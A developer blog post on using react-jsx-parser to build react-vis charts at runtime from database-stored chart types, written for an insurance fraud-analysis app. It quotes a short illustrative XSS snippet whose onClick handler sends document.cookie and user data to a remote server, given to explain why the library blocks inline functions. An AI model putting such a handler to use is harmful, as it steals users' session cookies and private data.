Parsing React component at runtime to build multiple charts
By: Giuseppe Villani
Tags: Parsing, Charts, React Vis, React

In this article, I want to talk about the power of react-jsx-parser to transform strings in React component, starting from a real use case where it has been very useful.

This lightweight npm package which essentially consists on a single component (namely JsxParser ) that can parse strings formatted like jsx, for example "<Box><span>example string</span></Box>" and output them in the corresponding React Components.

As we can see in the GitHub page, this extension doesn’t support inline function declarations to prevent malicious XSS attacks.

However this isn’t a limitation, because I can write event like eventHandler={mouseEvent} and then in bindings I can explicit mouseEvent:e=>{/*do event*/} . Later we can see this pratically.

We have implemented this extension in eFraudy, an application provided for a big Italian Insurance Company to analyze and detect, with graph database’s potentiality, possible insurance frauds.

In this application we have create a self-service business intelligence system, namely a tool allow users to search, check and visualize data without involving the IT division.

In particular, in our case we have implemented a chart’s management tool to create a customizable collection of populated charts, based on a given dataset and a kind of chart stored in a database.

For our purpose we have JHipster, a development platform to generate, develop and deploy, with few steps, a ready-to-use modern full-stack application and a microservice architecture with a lot of possible technologies.

In our case we have used Spring Boot with Java, Neo4j as graph database platform and obviously React as front-end library.

Moreover, we have used React-vis, a React library created and open-sourced by Uber.

Thank to which, we can create multiple kind of charts, such as line series, pie charts, and more.

This is an example of two possible charts created using this library:

More in detail, this tool has the following features:

A CRUD to manage type of charts (in the next section we’ll see the meaning of the fields in detail)

A CRUD to manage charts inserting chart type and query to retrieve dataset. This query must return fields consistently with chart type. For example, if I choose a line chart, with x and y and only number allowed, the query must return 2 numerical values and they must be associated with x and y values

A chart visualization page: in this page we call db with the query chosen and, depending on the chart type, is retrieved the dataset to populate the chart

The possibility to add and remove custom charts to all users

A dashboard with the charts added by current user

As follows, we can see the above use case explained by a video.

Code implementation

Now let’s see the code used for this functionality and how we have pratically used the parser.

To do a functionality like this, without the use of react-jsx-parser, we should implement a component as follows:

As we can see, with many charts, this structure would become really heavy and with a lot of code (many of them duplicated, like common styling, data attribute, optional events, etc…).

To solve this problem, we could create a common structure for all react-vis’ charts, where tag names will be changed at runtime depending on the chart type.

So we can chose an implementation like this:

retrieving of chart’s type from db creation of a dynamic string based on chart’s type retrieved conversion of the string into React components necessary to show the wanted chart

Let’s see how we have implemented this steps.

In the first place, we retrieve an object from db with a model like this:

After that, we create a method with retrieved “chartEntity” as parameter and return the string to parse:

Finally, we parse the above string using JsxParser component to create the set of React components necessary for rendering the wanted chart, based on retrieved dataset.

This component accepts 3 attributes:

jsx: the string to be parsed

components: the list of components used in the string subsequently converted

bindings: a key-value list, necessary to convert the keys found in the string with the corresponding value, in this case DATASET with the retrieved dataset from db, ITEMS to populate legend (however the second isn’t strictly necessary) and eventually, other values like colors, styles, etc…

Here we can see the reason why inline event like onClick hasn’t allowed, namely to avoid malicious code like this:

<JsxParser

bindings={{ userInfo: { private: 'data' } }}

onClick={() => {

fetch('/some/remote/server', {

body: JSON.stringify({ cookies: document.cookie, userInfo })

})

}}

/>

Returning to our code, so we can create an implementation as follows: